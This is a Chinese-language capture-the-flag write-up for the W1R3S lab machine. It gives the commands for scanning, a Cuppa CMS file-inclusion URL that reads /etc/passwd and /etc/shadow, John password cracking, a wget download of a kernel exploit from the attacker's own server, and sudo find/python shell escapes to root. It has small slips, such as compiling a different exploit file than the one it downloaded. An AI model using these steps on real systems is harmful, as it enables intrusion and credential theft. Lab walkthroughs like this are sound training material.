W1R3S拿flag思路
1.主机发现,端口扫描
2.21,22,80和3306端口 的发现
3.访问80端口,发现是apache的首页,无果
4.发现21端口存在anonymous用户
5.ftp访问anonymous发现有三个文件,结果毛都没有
6.对80端口进行目录扫描一下
7.发现使用了cuppa的cms
8.搜索cuppa-cms的相关漏洞,存在Local/Remote File Inclusion
9.漏洞利用读取本地shadow
10.使用john 爆破密码
11.ssh连接
12.查看版本和内核看是否可以内核提权,提权报错
13.发现有sudo权限,尝试sudo 提权
14.在 /root 下获得 flag
第一步:找到目标主机
首先ifconfig找到本机ip
通过netdiscover扫描存活主机
netdiscover -r 192.168.159.0/24
通过nmap扫描出来21,22,80和3306端口,发现21端口存在anonymous,
首先访问80端口发现就是apache的默认首页
利用21端口的Anomonous进行访问
发现无果,都是一些废话,继续打开80端口,进行目录扫描
第二步:目录扫描
python dirsearch.py -u http://192.168.159.132/ -e * -x 403,404
从上到下,进行访问,看是否有突破点
从中发现了使用的是cuppa cms,还有一个wordpress,但无果
搜索相关的payload
searchspoit cuppa
searchspoit wordpress
尝试利用25971.txt
https://www.exploit-db.com/exploits/25971
拼接访问
http://192.168.159.132/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
发现没发现,可能是路劲拼接错误,继续尝试
http://192.168.159.132/administrator/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
这个也报错,最后尝试发现去掉cuppa就可以访问了,但是显示空白的
http://192.168.159.132/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
继续返回漏洞介绍,发现是$_REQUEST,可能是GET也可能是POST,尝试POST
出现了/etc/shadow,有账户和加密密码
尝试用John the ripper进行密码爆破,首先把字符串复制出来
john shadow
尝试SSH连接
第三步:提权
通过查询系统版本和内核版本,看是否可以内核提权
lsb_release -a
uname -a
发现ubuntu版本为16.04.3,内核为4.13.0
使用 searchsploit 从 exploit-db 中搜索相关信息
searchsploit ubuntu 4.13
尝试使用,并查看使用方法
searchsploit -m 45010.c
vi 45010.c
本地起一个HTTP服务
python3 -m SimpleHTTPServer 8081
若出现No module named SimpleHTTPServer,使用下面的
python3 -m http.server 8081
bash shell端进行下载
wget http://192.168.159.129:8081/45010.c
编译EXP
根据使用条件 进行利用
gcc 37292.c -o exp —GCC编译.o文件
./exp —利用exp
利用失败
尝试是否存在sudo提权
https://www.yisu.com/zixun/461396.html
sudo -V
可能存在sudo提权
find 命令提权:
sudo find . -exec /bin/sh \; -quit
python 命令提权:
sudo python -c 'import pty;pty.spawn("/bin/bash")'
进入root目录下,发现flag.txt
总结:
这个靶机主要是考察了三个点,目录扫描,cms漏洞,sudo提权